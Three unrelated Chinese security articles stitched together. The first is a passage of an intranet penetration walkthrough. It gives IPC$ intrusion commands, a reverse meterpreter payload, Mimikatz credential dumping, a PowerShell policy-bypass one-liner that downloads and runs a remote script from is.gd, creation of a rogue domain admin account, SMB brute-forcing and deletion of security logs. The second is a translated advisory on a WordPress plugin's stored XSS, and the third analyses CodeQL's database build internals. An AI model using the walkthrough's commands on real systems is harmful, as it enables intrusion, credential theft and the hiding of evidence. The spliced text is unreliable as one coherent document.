通过上面的分析，我们先选择最简单的方法，我们在net view的机器名里选择一个和我们机器名相似的服务器来试试，不出意外，成功率很高，如下图所示。
**给大家再温习下经典的ipc$入侵**
IPC$入侵，即通过使用Windows 系统中默认启动的IPC$共享，来达到侵略主机，获得计算机控制权的入侵。在内网中极其常见。
假设，我们现在有一台IPC$主机：127.0.0.25
D:>net use 127.0.0.25ipc$ //连接127.0.0.25的IPC$共享
D:>copy srv.exe 127.0.0.25ipc$ //复制srv.exe上去
D:>net time 127.0.0.25 //查查时间
D:>at 127.0.0.25 10:50 srv.exe //用at命令在10点50分启动srv.exe（注意这里设置的时间要比主机时间快）
关于at命令：at是让电脑在指定的时间做指定的事情的命令（比如运行程序）
这里我们把我们免杀的PAYLOAD上传到PAVMSEP131服务器，然后利用AT命令启动PAYLOAD，反弹回来meterpreter
shell,具体操作见下图。
接着我们返回handler监听，可以看到反弹成功了，我们获得了pavmsep131服务器的meterpreter shell。见下图。
我们先看看PAVMSEP131服务器的信息和现在的权限
sysinfo
getuid
看到没有system权限，现在可以用Mimikatz等工具也可以用run post/windows/gather/hashdump来抓HASH。
我们在用Mimikatz抓HASH之前要注意一点，如果服务器是安装的64位操作系统，要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统密码明文。32位系统没有这个限制，都可以查看系统密码。
这里我们使用大杀器（MIMIKATZ），抓HASH，具体操作见下图。
我们看下我们抓到的域用户的权限，如下图：
**0x07 Powershell寻找域管在线服务器**
Powershell，首先是个Shell，定义好了一堆命令与操作系统，特别是与文件系统交互，能够启动应用程序，甚至操纵应用程序。PowerShell还能允许将几个命令
组合起来放到文件里执行，实现文件级的重用，也就是说有脚本的性质。且PowerShell能够充分利用.Net类型和COM对象，来简单地与各种系统交互，完成各种复杂的、自动化的操作。
Powershell的脚本有很多，在内网渗透测试中不仅能扫，能爆，能转发，还能做更多的事情。我们常用的脚本有Powersploit，Empire，PowerView等等。
使用脚本之前，我们先科普下计算机上的执行策略，输入下面命令。
get-executionpolicy
Restricted——默认的设置，不允许任何script运行
AllSigned——-只能运行经过数字证书签名的script
RemoteSigned—-运行本地的script不需要数字签名，但是运行从网络上下载的script就必须要有数字签名
Unrestricted—-允许所有的script运行
要运行Powershell脚本程序，必须要将Restricted策略改成Unrestricted，而修改此策略必须要管理员权限，所以这里就需要采用一些方法绕过策略来执行脚本。有下面三种方法。
**本地权限绕过执行**
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
**本地隐藏权限绕过执行脚本**
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
**用IEX下载远程PS1脚本回来权限绕过执行**
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
这里我们先使用powerview脚本来获取当前域管理员在线登录的服务器，我们将powerview脚本的Invoke-UserHunter模块上传主机名pavmsep131，IP为10.51.0.131的服务器中，然后使用命令Invoke-UserHunter。
具体命令如下：
`powershell.exe -exec bypass -Command "&{Import-Module .powerview.ps1;Invoke-UserHunter}"`
可以看到域管理员当前在线登陆的机器为主机名PAVMSXD30,ip为10.51.0.30的服务器，此时我们需要入侵此服务器然后迁移到域管理登陆所在的进程，便拥有了域管理的权限。
**0x08 获取域管权限**
现在我们通过powershell成功的获取到主机名PAVMSXD30,ip为10.51.0.30的服务器权限，接下来我们就可以去搞域控了。
我们先利用getsystem命令提升下自己的权限，如下图所示。
可以看到我们现在的UID是sonicwall，从前面获取到的域管理员账号信息中，我们得知sonicwall是域管理员。
然后利用PS命令找到域管理所在的进程，把meterpreter shell进程迁移到此进程中，成功后我们就获得了域管理权限。如下图所示。
这里除了迁移进程外，也可以使用Metasploit中的窃取令牌功能，同样也可以获得域管理权限。
接着我们来查看主域控IP，这里用net time命令，一般来说时间服务器都为域服务器。
可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。
现在我们可以使用经典的IPC$入侵来反弹一个meterpreter shell了，具体操作看下图。
提示一个什么schtasks.exe的错误，失败了，好吧，我们换个思路。因为我们现在已经在域管理员权限下面了，所以我们来给域控添加个管理员账户，如下图所示。
看下是否添加成功，利用如下命令。
net group "domain admins" /domain
可以看到我们已经添加成功了。
**
**
**0x09 登陆域控**
现在域控的权限也终于到手了。接下来我们就要登陆域控，然后抓域控的HASH。
整理下思路，常见的登录域控的方式有以下几种:
1\. 端口转发或者 socks
登录域控远程桌面，可以参考我的另一篇文章[《内网漫游之SOCKS代理大结局》](http://bobao.360.cn/learning/detail/3502.html)
2\. 登录对方内网的一台电脑使用psexec来反弹shell
3\. 使用metasploit下面的psexec或者smb_login来反弹meterpreter
我们这里采用最常见也是效果最好的metasploit下面的psexec来反弹meterpreter。
使用时注意以下2点：
1\. msf中psexec模块的使用
2\. cuestom模块的使用，使用自己Veil生成的免杀payload。
我们可以看到已经反弹成功了，我们先迁移下进程，然后看下域控的系统信息和sessions控制图。
思路：可以看到现阶段控制的session共有5个。其中session1为webshell反弹，session2是利用ipc$入侵，session4是为获取域管在线服务器所获取，session5为域。整个渗透过程，一环套一环，环环相扣，缺一不可！
有了域控的权限之后，接着我们来抓HASH,常用的有下面几种方法：
使用metasploit自带的dumphash模块。一个是
hashdump，此模块只能导出本地的hash。另外一个是smart_hashdump,此模块可以用来导出域用户的hash。
powershell利用模块直接导出。
wce,mimikatz等神器的使用。
在这里我们使用metasploit自带的dumphash模块。在此需要注意的是要想使用此模块导出hash，必须要有system的权限才行。具体操作如下图：
**0x10 SMB爆破内网**
有了域控的密码，接下来我们要做的事情就很简单了，就是快速的在内网扩大控制权限。具体如下：
利用当前获取到的域控账户密码，对整个域控IP段进行扫描。
使用smb下的smb_login模块
端口转发或者SOCKS代理进内网
我们先在metasploit添加路由，然后使用smb_login模块或者psexec_scanner模块进行爆破。具体操作见下图。
可以看到我们获取了大量内网服务器的密码。下面我们就可以畅游内网了。可以使用meterpreter的端口转发，也可以使用metasploit下的socks4a
模块或者第三方软件。
具体可以参考我的另一篇文章[《内网漫游之SOCKS代理大结局》](http://bobao.360.cn/learning/detail/3502.html)
这里我们简单的使用meterpreter的端口转发即可。
**0x11 清理日志**
****
作为一个渗透测试民间爱好者，一定要切记要在渗透的过程中注意保护自己，不要破坏服务器，还要把自己PP擦干净。
主要以下几步:
1.删除之前添加的域管理账号
2.删除所有的使用过程中的工具
3.删除应用程序，系统和安全日志
4.关闭所有的meterpreter连接
The End.
**QQ群：282951544 欢迎各位的交流和批评指正！** | 社区文章 |
## 写在翻译稿前面
最近，笔者在研究一些与WordPress漏洞相关内容。Sucuri、RIPS、Fortinet等安全公司对WordPress有着一系列的深入研究，因此笔者计划陆续将一些有意思文章翻译出来，与大家共同学习下，祝君多挖漏洞。
这篇文章是来自Sucuri Labs，本文介绍了强大的 WordPress 统计分析插件 WP
Statistics的一个xss漏洞以及与防火墙的组合利用，文中括号加粗的是我自己分析这个原稿的一些见解，大家可以在评论里一起讨论下。
下面翻译稿正文开始
**风险评级：** 次要：可用于有针对性攻击，但需要特定配置后利用。
漏洞名称：存储型XSS漏洞
修复版本： 12.6.7
WordPress插件[WP Statistics](https://wordpress.org/plugins/wp-statistics/)具有50万用户的活动安装基础，在 **12.6.7** 之前的版本上存在未经 **身份** 验证的存储XSS漏洞。
此漏洞只能在某些配置下使用 - 默认设置不易受到攻击。
## 时间线
· 2019/06/26 - 初步与开发人员取得联系。
· 2019/06/27 - 开发人员回应，披露漏洞。
· 2019/06/30 - 拟议审核补丁。
· 2019/07/01 - 版本12.6.7发布，修复漏洞。
## 通过IP操作存储型XSS漏洞
在该插件某些配置情况下，网站可以使用header来查找访问者的IP。
在使用防火墙的环境中，经常会需要这样的方式 **(译者注：使用header来查找访问者的IP)** ，否则所有访问者都会拥代理的IP而不是自己的IP。
### 为什么使用防火墙需要使用Header
默认情况下，网站可以轻松找到访问用户的IP地址。并且找到的一定是发起请求User的IP，如下图所示：
请求访问没有防火墙的网站
当使用网站防火墙时，事情就会变得有些棘手；要么优化我们的性能，要么保护我们自己免受攻击。
由于用户的请求在到达网站前，已经通过了防火墙，因此网站无法利用连接地址来找出实际发起请求的IP。
忽略原始用户IP，使用防火墙代理发起访问请求
为了解决这种情况，防火墙通常会在HTTP header中自动添加用户原始IP。
防火墙会转送请求访问的原始用户IP
这使得网站能够正确识别原始用户以及其相应的IP。
### 多层防火墙
当攻击者自己构造forwarded IP（即使这个IP并不存在）时，可能会使服务器弄错原始IP。
**（译者注：这里的意思是，攻击者在自己发出的原始报文中，加入了一个forwarded IP，例如下图中，加入一个Forwarded:
123,当最终website读取用户IP时，会误认为123是原始IP，即使123可能不存在）**
使用多层防火墙时也会有这种情况出现，因为每一层都会在现有的基础上再添加一个IP地址。
这完全取决于防火墙的配置方式，以及它如何处理现有的转送数据。
用户发送一个forwarded
IP，混淆服务器
大多数防火墙都会将用户的真实IP加入HTTP header自定义字段里，例如
**X_SUCURI_CLIENTIP（译者注：SUCURI是这篇文章的公司的名字，这个字段是他家防火墙header里的存放用户的真实IP的自定义字段）**
。
此HTTP header里始终含有用户原始IP信息，因为它应该永远不会存在于防火墙之外的环境里。因此，即使存在也会被被覆盖
**（译者注：即使攻击者在自己的报文里构造了X_SUCURI_CLIENTIP，在被SUCURI防火墙转发时，这个值也会被覆盖掉）** 。
在您有多个代理的情况下，您可能希望获取用户真实IP，而不是最后进行连接的IP。在这种情况下，您可以使用可包含多个IP地址的 **X-forwarded-for** 。
如果 **X-forwarded-for** 在连接防火墙之前已具有IP值，则将执行以下某一项操作：
· 将用户的IP附加到任意现有IP列表中。
· 保持原样; 不添加或替换值。
· 清除header; 删除所有值。
· 使用用户的IP覆盖header。
这些结果可能取决于所使用的防火墙和它的配置的不同而不同，最终保证多级防火墙来正确地发送所述用户信息给服务器。
## 漏洞分析
该插件的漏洞是由于不过滤或验证用户IP所产生的。
只有当插件使用header来识别访问者的IP地址（例如，不是 **REMOTE_ADDR** ）时，才能触发利用：
插件的设置页面：使用X_Forwarded_For来获取IP
该漏洞利用触发还必须满足以下两个条件之一：
· 防火墙必须是可 **绕过的** 。
**这意味着必须将网站配置为接受来自于所有人的连接，而不仅仅是接受使用防火墙端口转发的连接。**
**(译者注：这里作者“防火墙必须是可绕过”的意思是，攻击者的请求，可以不经过防火墙，直接发送至wordpress站点)**
**或者**
· 防火墙必须原样保留header，如果其存在的话。
防火墙转发访问请求时保持forwarded
IP不变
以上两个利用条件的共同点是forwarded值完全由攻击者控制。
启用WAF使您不会容轻易遭受攻击（请[参阅此处以获取有关如何防止防火墙被绕过的说明](https://kb.sucuri.net/firewall/Configuration/preventing-bypass)），除非攻击者可以绕过WAF；或者防火墙被配置为保持IP不变。
如果您以前使用过WAF，但是在未更新插件设置的情况下停止运行，则可能会受到攻击。
由于header可以包含多个IP地址，具体取决于防火墙的数量及其配置，因此插件将首先取出完整的header
IP列表值，然后在提供多个地址的情况下遍历IP列表，依次向右边的寻找并将IP值替换为有效地址 **(译者注：原理可以看下面那个代码段的图)** 。
在这两种易受攻击的配置中， IP变量完全由攻击者控制。这使得他们可以将恶意JavaScript代码作为自己的IP注入，并将这些代码存储在管理页面上并执行。
## 技术细节
该插件使用 **class-wp-statistics.php** 文件中的 **get_IP** 方法。
IP变量的默认值为设置中提供的header，默认情况下为 **REMOTE_ADDR（译者注：默认配置情况下不存在漏洞，具体配置见上文插件的设置页面）**
。如果有多个以逗号分隔的IP地址，则该插件将使用最后一个有效的IP地址
由于IP地址的默认值是header的值，并且未使用 **FILTER_VALIDATE_IP**
方法进行清理或验证，因此当header中没有多个IP地址时，它将按原样存储。
在top visitor，online users与最近访问者等模块中，访问者IP将作为页面的一部分输出，它是插件渲染页面的一部分。
**（译者注：我对于上述的理解是，插件设置页面提供了一个用户自己选择获取ip的方式”the items below return the ip
address that is different on each server. Is the best way that you
choose”，如果用户选的是X_Forwarded_For方式，$user_ip里获得的是X_Forwarded_For中的值，攻击者在X_Forwarded_For中传入xss
payload，由于不是合法的ip格式，在foreach里的filter_var结果为false，因此不会进入if中执行$user_ip=$ip语句，$user_ip中值仍然是xss
payload，最终，在代码最后一个else中赋值给$this- >ip并return）**
## 结论
某种类型的信息看起来可能是安全的（像是访问者的IP地址），但实际上与预期相悖。由于开发人员的某些臆断，使得攻击者可以在在管理页面上注入恶意代码，从而导致整个网络瘫痪。
为了不受此漏洞影响，我们强烈建议用户尽快将插件更新到 **12.6.7** 版。
**原文地址** ：<https://blog.sucuri.net/2019/07/wordpress-plugin-wp-statistics-unauthenticated-stored-xss-under-certain-configurations.html>
## 写在翻译稿后面
我跟踪了下wp-statistics的修复
使用esc_html对获取到的IP进行过滤
虽然现在仍然可以在header里传payload，但是由于esc_html的转义，到页面渲染的时候，payload已经失效，流程见下图 | 社区文章 |
**作者：六炅
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## Preface
`CodeQL`是一款不错的代码分析扫描工具，于我而言对漏洞挖掘有很大的帮助。使用它也有一定时间了，之前一直接触的是开源项目，所以借助`CodeQL`进行数据库创建和分析还是相对简单的，不会有过多的限制。最近在进行`Java`反序列化利用链挖掘时，接触了[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector.git)，它通过分析字节码来获取`AST`语法树并根据预定条件生成可能的调用链。于是我想如果借助`CodeQL`这类来分析应该会更方便些，可是在没有源码的情况对于编译型语言，无法从正常途径创建数据库。虽然网上已有部分此类的小工具，但还是希望通过了解`CodeQL`的部分原理来找寻无源码创建数据库的方式并加深对静态代码分析的理解。
以下内容以`Java`语言作为分析对象，分析的结论并不保证与实际完全相符。文章所用的测试项目可在[github](https://github.com/trganda/app)获取，包含`.idea/`你可以用`IDEA`打开，只需修改文件路径即可自己调试分析。
## Pre Request
* CodeQL CLI 2.9.1
* Jdk 16
* Windows OS
## Building Database
在`CodeQL`的历史文档中（加入`Github`之前），有大致描述其创建数据库的过程，如下图，见[1]
它的工作流程大致是，在`javac`编译目标代码时，通过`Extractor`与其进行交互。`Extractor`会根据每一个`java`文件的内容生成一个`trap`文件，后续再根据`trap`文件生成实际的数据库。同时它会将处理的每一个`java`文件拷贝一份保存在数据中，便于后续展示查询结果时能看到代码的上下文。
而针对不同的语言都有各自独立的`Extractor`，文档中解释这样做的好处，毕竟不同语言特性不同。
`CodeQL`可以通过以下命令创建一个数据库，这里以一个最简单的`maven`项目为例，该项目仅包含一个输出`Hello World`的`java`文件
codeql database create -l java -c "mvn clean compile" C:\Users\trganda\Documents\databases\app
创建好的数据库的目录结构如下
|-- codeql-database.yml
|-- db-java # 数据库关系文件
|-- log # 各类日志
| |-- agent.9008554372696040130.log
| |-- agent.11337701303103251140.log
| |-- build-tracer.log
| |-- database-create-20220509.114127.634.log
| |-- database-index-files-20220509.114151.283.log
| |-- ext 用于javac的配置文件
| | |-- javac.args
| | |-- javac.env
| | |-- javac.orig
| | `-- javac.properties
| |-- javac-errors.log
| |-- javac-extractor-1683275.log
| `-- javac-output-11812.log
`-- src.zip # 源码文件
### Analyze Build Process
由官方文档[using-indirect-build-tracing](https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/#using-indirect-build-tracing)和`database-create-20220509.114127.634.log`可以看到数据库的创建过程其实是被分为了多个子步骤的。各步骤执行的命令如下
codeql database init --language=java --source-root=C:\Users\trganda\Documents\app --allow-missing-source-root=false --allow-already-existing -- C:\Users\trganda\Documents\databases\app
codeql database trace-command --working-dir=C:\Users\trganda\Documents\app --index-traceless-dbs --no-db-cluster -- C:\Users\trganda\Documents\databases\app mvn clean compile
codeql database finalize --mode=normal --no-db-cluster -- C:\Users\trganda\Documents\databases\app
|-- codeql database trace-command --working-dir=C:\Users\trganda\Documents\app --no-tracing -- C:\Users\trganda\Documents\databases\app C:\Program Files\codeql\java\tools\pre-finalize.cmd
|-- codeql dataset import --dbscheme=C:\Program Files\codeql\java\semmlecode.dbscheme -- C:\Users\trganda\Documents\databases\app\db-java C:\Users\trganda\Documents\databases\app\trap\java
|-- codeql database cleanup --mode=normal -- C:\Users\trganda\Documents\databases\app
`-- codeql dataset cleanup --mode=normal -- C:\Users\trganda\Documents\databases\app\db-java
与`Extractor`有关的为第二条命令，下面来看看它具体做了什么。
`codeql`命令对应的执行文件位于其安装目录下`codeql.cmd`，内容如下
@echo off
rem Wrapper provided for users who explicitly configured VS Code to point to codeql.cmd
"%~dp0\codeql.exe" %*
exit /b %errorlevel%
在`win`平台，它借助`exe`文件来处理要执行的命令，这不是我们想看到的。好在还有另一个`shell`脚本文件`codeql`，为`linux`平台提供服务。可以通过它来了解`codeql.exe`的内部逻辑
它的大概意思是，设置环境变量`CODEQL_PLATFORM`，`CODEQL_JAVA_HOME`和`CODEQL_DIST`后，执行`codeql.jar`。再回过头细看`database-create-20220509.114127.634.log`里面会记录使用成功加载`java`的`extracotr`（ **Successfully
loaded extractor Java** ），位于`java\tools`目录下
|-- COPYRIGHT
|-- LICENSE
|-- codeql-extractor.yml
|-- semmlecode.dbscheme
|-- semmlecode.dbscheme.stats
`-- tools
|-- autobuild-fat.jar
|-- autobuild.cmd
|-- autobuild.sh
|-- codeql-java-agent.jar
|-- compiler-tracing.spec
|-- linux
| `-- ...
|-- pre-finalize.cmd
|-- pre-finalize.sh
|-- semmle-extractor-java.jar
`-- tracing-config.lua
这里可以看到一些`jar`包和脚本，以及配置文件`codeql-extractor.yml`。`codeql-java-agent.jar`为`agent`，在整个编译期开始前注入`jvm`中并用于执行`extractor`操作。而其它的部分内容，通过日志的信息，可以猜测其含义，这里暂不细纠。
既然是`jar`包，那么就能比较容易的去分析它。这里将`codeql.jar`和`java\tools`目录下的`autobuild-fat.jar`，`codeql-java-agent.jar`和`semmle-extractor-java.jar`拖入`IDEA`和`jd-gui`。
在`IDEA`的`Run/Debug Configurations`中新增`2`个`Jar Application`，配置分别如下
`codeql database init`
Path to JAR: C:\Program Files\codeql\tools\codeql.jar
VM options: --add-modules jdk.unsupported
Program arguments: database init --language=java --source-root=<your working path> --allow-missing-source-root=false --allow-already-existing -- <your database path>
Working directory: <your working path>
Enviroment variables: CODEQL_DIST=C:\Program Files\codeql;CODEQL_JAVA_HOME=C:\Program Files\codeql\tools\win64\java;CODEQL_PLATFORM=win64
`codeql database trace-command`
Path to JAR: C:\Program Files\codeql\tools\codeql.jar
VM options: --add-modules jdk.unsupported
Program arguments: database trace-command --working-dir=<your working path> --index-traceless-dbs --no-db-cluster -- <your database path> mvn clean compile
Working directory: <your working path>
Enviroment variables: CODEQL_DIST=C:\Program Files\codeql;CODEQL_JAVA_HOME=C:\Program Files\codeql\tools\win64\java;CODEQL_PLATFORM=win64
这里调试的目标是`codeql database trace-command`，在调试前先执行一次`codeql database
init`完成数据库初始化。并在`com.semmle.cli2.CodeQL#main`打下断点再调试`codeql database trace-command`，与`database`相关的命令处理逻辑位于`com.semmle.cli2.database`，从类的名字可以很好找到与`trace-command`相关的类为`com.semmle.cli2.database.TraceCommandCommand`。大致查看这个类的代码，执行逻辑在`com.semmle.cli2.database.TraceCommandCommand#executeSubcommand`
protected void executeSubcommand() {
this.actionVersion = new CodeQLActionVersion() {
protected boolean isVeryOldAction() {
return TraceCommandCommand.this.command.size() == 3 && ((String)TraceCommandCommand.this.command.get(1)).endsWith(File.separator + "working" + File.separator + "tracer-env.js") && ((String)TraceCommandCommand.this.command.get(2)).endsWith(File.separator + "working" + File.separator + "env.tmp");
}
};
super.executeSubcommand();
}
在此处也打下一个断点，然后开启调试，顺利的话会执行到`super.executeSubcommand();`也就是`DatabaseProcessCommandCommon#executeSubcommand`这个方法，它的内容比较长，直接看尾部的一部分代码，
protected void executeSubcommand() {
...
Iterator var32 = commandlines.iterator();
while(var32.hasNext()) {
List<String> cmdArgs = (List)var32.next();
this.printProgress("Running command in {}: {}", new Object[]{workingDir, cmdArgs});
Builder8 p = new Builder8(cmdArgs, LogbackUtils.streamFor(this.logger(), "build-stdout", true), LogbackUtils.streamFor(this.logger(), "build-stderr", true), Env.systemEnv().getenv(), workingDir.toFile());
this.env.addToProcess(p);
List<String> cmdProcessor = new ArrayList();
CommandLine.addCommandProcessor(cmdProcessor, this.env.expander);
p.prependArgs(cmdProcessor);
tracerSetup.enableTracing(p);
StreamAppender streamOutAppender = new StreamAppender(Streams.out());
int result;
try {
LogbackUtils.addAppender(streamOutAppender);
result = p.execute();
} finally {
LogbackUtils.removeAppender(streamOutAppender);
}
if (result != 0) {
cmdProcessor.addAll(cmdArgs);
throw new UserError("Exit status " + result + " from command: " + cmdProcessor);
}
}
...
}
它根据传入的命令`mvn clean
compile`构造了一个`Buildr8`，它封装了`ProcessBuilder`，在构造完成后会调用`p.execute()`执行命令，完整执行的命令为
"C:\Program Files\codeql\tools\win64\tracer.exe" "C:\Program Files\codeql\tools\win64\runner.exe" cmd.exe /C type NUL && mvn clean compile
相关的环境变量（由`codeql`增加的）如下
CODEQL_PLATFORM=win64;
CODEQL_PLATFORM_DLL_EXTENSION=.dll;
CODEQL_EXTRACTOR_JAVA_LOG_DIR=C:\Users\trganda\Documents\databases\app2\log;
CODEQL_JAVA_HOME=C:\Program Files\codeql\tools\win64\java;
CODEQL_EXTRACTOR_JAVA_SCRATCH_DIR=C:\Users\trganda\Documents\databases\app2\working;
ODASA_TRACER_CONFIGURATION=C:\Users\trganda\Documents\databases\app2\working\tracing\compiler-tracing1707598060791117786.spec;
SEMMLE_JAVA_TOOL_OPTIONS='-javaagent:C:\Program Files\codeql\java\tools/codeql-java-agent.jar=ignore-project,java' '-Xbootclasspath/a:C:\Program Files\codeql\java\tools/codeql-java-agent.jar';
CODEQL_EXTRACTOR_JAVA_WIP_DATABASE=C:\Users\trganda\Documents\databases\app2;
CODEQL_EXTRACTOR_JAVA_ROOT=C:\Program Files\codeql\java;
CODEQL_EXTRACTOR_JAVA_TRAP_DIR=C:\Users\trganda\Documents\databases\app2\trap\java;
CODEQL_TRACER_LOG=C:\Users\trganda\Documents\databases\app2\log\build-tracer.log;
CODEQL_EXTRACTOR_JAVA_SOURCE_ARCHIVE_DIR=C:\Users\trganda\Documents\databases\app2\src;
CODEQL_DIST=C:\Program Files\codeql;
环境变量中出现了很多熟悉的面孔，在`java`的`extractor`中见过它们。由于前面执行的命令涉及到`tracer.exe`和`runner.exe`，如果直接以它们为目标进行分析需要借助其它逆向工具，导致问题过于复杂，先不走这条路。这里先通过`process
hacker`查看这条命令执行过程中的变化
从进程创建的结构看，后`3`个`java.exe`依次执行的命令如下
"C:\Program Files\Common Files\Oracle\Java\javapath\java.exe" -classpath "C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\boot\plexus-classworlds-2.6.0.jar" "-Dclassworlds.conf=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\bin\m2.conf" "-Dmaven.home=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\.." "-Dlibrary.jansi.path=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\lib\jansi-native" "-Dmaven.multiModuleProjectDirectory=C:\Users\trganda\Documents\app" org.codehaus.plexus.classworlds.launcher.Launcher clean compile
"C:\Program Files\Java\jdk-16.0.1\bin\java.exe" -classpath "C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\boot\plexus-classworlds-2.6.0.jar" "-Dclassworlds.conf=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\bin\m2.conf" "-Dmaven.home=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\.." "-Dlibrary.jansi.path=C:\Program Files\JetBrains\IntelliJ IDEA 2021.3\plugins\maven\lib\maven3\bin\..\lib\jansi-native" -Dmaven.multiModuleProjectDirectory=C:\Users\trganda\Documents\app org.codehaus.plexus.classworlds.launcher.Launcher clean compile
"C:\Program Files\Java\jdk-16.0.1\bin\java.exe" -Dfile.encoding=windows-1252 -Xmx1024M -Xms256M --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED -classpath "C:\Program Files\codeql\java\tools\semmle-extractor-java.jar" com.semmle.extractor.java.JavaExtractor --jdk-version 16 --javac-args @@@C:\Users\trganda\Documents\databases\app\log\ext\javac.args
前两个是调用了`maven`工具链，而这里最引人注目的是最后一条命令的内容，它执行`semmle-extractor-java.jar`，并传入`javac.args`文件，这个文件的内容长这样
-Xprefer:source
-d
C:\Users\trganda\Documents\app\target\classes
-classpath
C:\Users\trganda\Documents\app\target\classes;
-sourcepath
C:\Users\trganda\Documents\app\src\main\java;C:\Users\trganda\Documents\app\target\generated-sources\annotations;
-s
C:\Users\trganda\Documents\app\target\generated-sources\annotations
-g
-nowarn
-target
1.7
-source
1.7
-encoding
UTF-8
C:\Users\trganda\Documents\app\src\main\java\org\example\App.java
这个文件称为[Command-Line Argument
Files](https://docs.oracle.com/en/java/javase/13/docs/specs/man/javac.html?msclkid=bebf72cecf7611ecaa58ff68bdfe6baa#Command-Line%20Argument%20Files)，用于给`javac`传递参数，它应该是通过执行`maven`来生成的。
### Tracer
这里可能会疑惑`semmle-extractor-java.jar`是怎么被执行的，虽然并没有对`trace.exe`和`runner.exe`进行分析，但是可以从`javac.env`和环境变量`SEMMLE_JAVA_TOOL_OPTIONS`猜测出在`"C:\Program
Files\codeql\tools\win64\tracer.exe" "C:\Program
Files\codeql\tools\win64\runner.exe" cmd.exe /C type NUL && mvn clean
compile`执行过程中时，通过`agent`的方式向`jvm`植入了`codeql-java-agent.jar`。
> 下面这一段内容是新加入的
在`$CODEQL_HOME/tools`目录下，有一个`tracer`目录，里面放着名为`base.lua`的问题，打开这个文件可以看到注释中大大方方的写着它的用途。
-- Overview:
-- Each traced language contains a `tracing-config.lua` file that defines two functions:
-- GetCompatibleVersions() -> [versionNumbers]. This function returns a list of major versions that
-- are compatible with this `tracing-config.lua` file.
-- RegisterExtractorPack(languageId) -> [matchers]. This function is called at by
-- the Lua tracer runtime. It returns a list of matchers for this language.
-- A matcher is a function of the form function(compilerName, compilerPath, compilerArguments, languageID) -> Table | nil.
-- The return value of a matcher is either `nil` (no match) or a table with the following keys:
-- `trace`: True if the processes created by the compiler (and extractor) should be traced for the current language
-- `replace`: If true, then the compiler process is not run
-- `invocations`: A list of extractor invocations. Each invocation is a table with key `path` (absolute path to the executable)
-- and key `arguments` XOR `transformedArguments` (see explanation below)
-- For convenience, the `CreatePatternMatcher` function is provided that deals with most of the low-level details
-- of creating matchers.
-- -- `compilerArguments` has the following structure:
-- {
-- "nativeArgumentPointer": Opaque pointer that can be used to create transformations of these command line arguments
-- that are executed in C++. This is mostly necessary for Windows, where we want to
-- prepend/append to the command line without parsing it
-- "argv": Posix-only, array of command line arguments passed to the compiler
-- "commandLineString": Windows-only, the string passed to CreateProcess*(), with the path to the compile removed (and converted to UTF-8).
-- Can be parsed into an argv array using `NativeCommandLineToArgv`, but be warned, this is not
-- a canonical interpretation of the command line.
-- }
-- The arguments for an extractor invocation have two possible shapes:
-- either, the invocation sets the key `transformedArguments` (like `BuildExtractorInvocation` does), which is a table with
-- the following keys:
-- `nativeArgumentPointer`: The same opaque pointer, copied from the compiler invocation
-- `prepend`: A list of arguments to prepend to the arguments from the compiler
-- `append`: A list of arguments to append to the arguments from the compiler
-- alternatively, it sets the key `arguments`, which is a table with the following keys:
-- `argv`: Posix-only: The command line arguments (without argv[0])
-- `commandLineString`: Windows-only: The command line string (without the leading path to the executable).
-- This will be converted internally to UTF-16 before execution.
-- -- The user can specify an extra lua config file on the command line.
-- This is loaded after all enabled languages have been loaded. This file also needs to contain a `GetCompatibleVersions`
-- function, just like a regular tracing config.
-- Second, it is required to contain a function
-- RegisterExtraConfig() -> [{languageID -> [matchers]}], i.e. a function that returns a table
-- mapping language IDs to a list of matchers. For each language ID, these matchers will _overwrite_ the matchers
-- registered by that language.
-- Furthermore, this function has full access to the implementation details of `base.lua`. However, obviously
-- no guarantees about compatibility are made when accessing internal functions or state.
-- -- If tracing is enabled for multiple languages, the languages are processed in lexicographical order of the language ID.
-- For each language, the matchers are processed in the order supplied, until the first matcher returns non-nil.
-- Then, matching for that language is stopped.
-- Matchers between different languages are not allowed to cooperate - each language is supposed to be independent
-- of the other possibly active languages.
-- There is one exception, though: If two languages specify `replace=true` for the same compiler invocation,
-- then matching for the second language is aborted without action. In this case, a log message is emitted.
该文件配合`trace.exe`使用，每种语言的`extractor`下都有一个`tracing-config.lua`文件，它有点类似于插件，需要实现两个函数`GetCompatibleVersions`和`RegisterExtractorPack`。前者用于标识自身支持的版本，后者则会被`tracer`调用返回一个`matcher`，`matcher`可以用来标识编译器并插入参数。以`java`的`extractor`为例，它的`tracing-config.lua`文件如下
function RegisterExtractorPack(id)
local pathToAgent = AbsolutifyExtractorPath(id, 'tools' .. PathSep ..
'codeql-java-agent.jar')
-- inject our CodeQL agent into all processes that boot a JVM
return {
CreatePatternMatcher({'.'}, MatchCompilerName, nil, {
jvmPrependArgs = {
'-javaagent:' .. pathToAgent .. '=ignore-project,java,kotlin:experimental',
'-Xbootclasspath/a:' .. pathToAgent
}
})
}
end
-- Return a list of minimum supported versions of the configuration file format
-- return one entry per supported major version.
function GetCompatibleVersions() return {'1.0.0'} end
注释中已经写明，会向`jvm`中注入`agent`文件`codeql-java-agent.jar`。
> 以下为之前的理解
这个过程从`process hacker`中无法直接看到，但是任然有一些蛛丝马迹可以证明这一点。
* 日志文件`build-tracer.log`，有`Reading configuration file ...\working\tracing\compiler-tracing12908925883751484166.spec`
